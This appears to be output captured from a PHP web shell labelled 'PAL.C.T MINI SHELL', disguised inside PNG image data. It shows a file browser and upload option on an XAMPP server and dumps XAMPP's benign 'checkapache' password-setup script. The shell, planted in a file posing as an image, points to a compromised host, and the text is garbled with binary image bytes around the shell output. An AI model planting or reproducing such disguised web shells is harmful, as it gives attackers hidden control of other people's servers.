php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/xampp/
upload
files >> //opt/lampp/share/xampp/checkapache

#!/bin/bash
# Copyright 2002-2003 by Kai 'Oswald' Seidler, oswald@apachefriends.org, GPL-licensed

if test "x$XAMPP_ROOT" = "x"
then
	echo "Dont call this script directly!"
	exit 1
fi

. $XAMPP_ROOT/share/xampp/xampplib

if test "$1" = "check"
then    
        check="true"
else    
        check="false"
fi

bon=""
boff=""

if test -f $XAMPP_ROOT/htdocs/xampp/.htaccess
then
    $check && exit 0

	echo "XAMPP: ${bon}" $($GETTEXT 'Your XAMPP pages are secured by a password.') "${boff}"
	q=$($GETTEXT 'Do you want to change the password anyway?')
	ask="askn";
else
        $check && exit 1

	echo "XAMPP: ${bon}" $($GETTEXT 'Your XAMPP pages are NOT secured by a password.') "${boff}"
	q=$($GETTEXT 'Do you want to set a password?')
	ask="asky";
fi

if $ask "$q"
then
	word=$(askp "$($GETTEXT 'Password:')" "$($GETTEXT 'Password (again):')")

	cat << EOT > $XAMPP_ROOT/htdocs/xampp/.htaccess
AuthName "xampp user"                 
AuthType Basic    
AuthUserFile $XAMPP_ROOT/lib/xampp.users
require valid-user                    
EOT
	cp $XAMPP_ROOT/htdocs/xampp/.htaccess $XAMPP_ROOT/htdocs/webalizer/.htaccess
	cp $XAMPP_ROOT/htdocs/xampp/.htaccess $XAMPP_ROOT/phpmyadmin/.htaccess
	echo "xampp:$word" > $XAMPP_ROOT/lib/xampp.users
	chmod a+r $XAMPP_ROOT/htdocs/xampp/.htaccess $XAMPP_ROOT/htdocs/webalizer/.htaccess $XAMPP_ROOT/phpmyadmin/.htaccess 
	chmod a+r $XAMPP_ROOT/lib/xampp.users
	echo "XAMPP: " $($GETTEXT "Password protection active. Please use 'xampp' as user name!")
fi
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`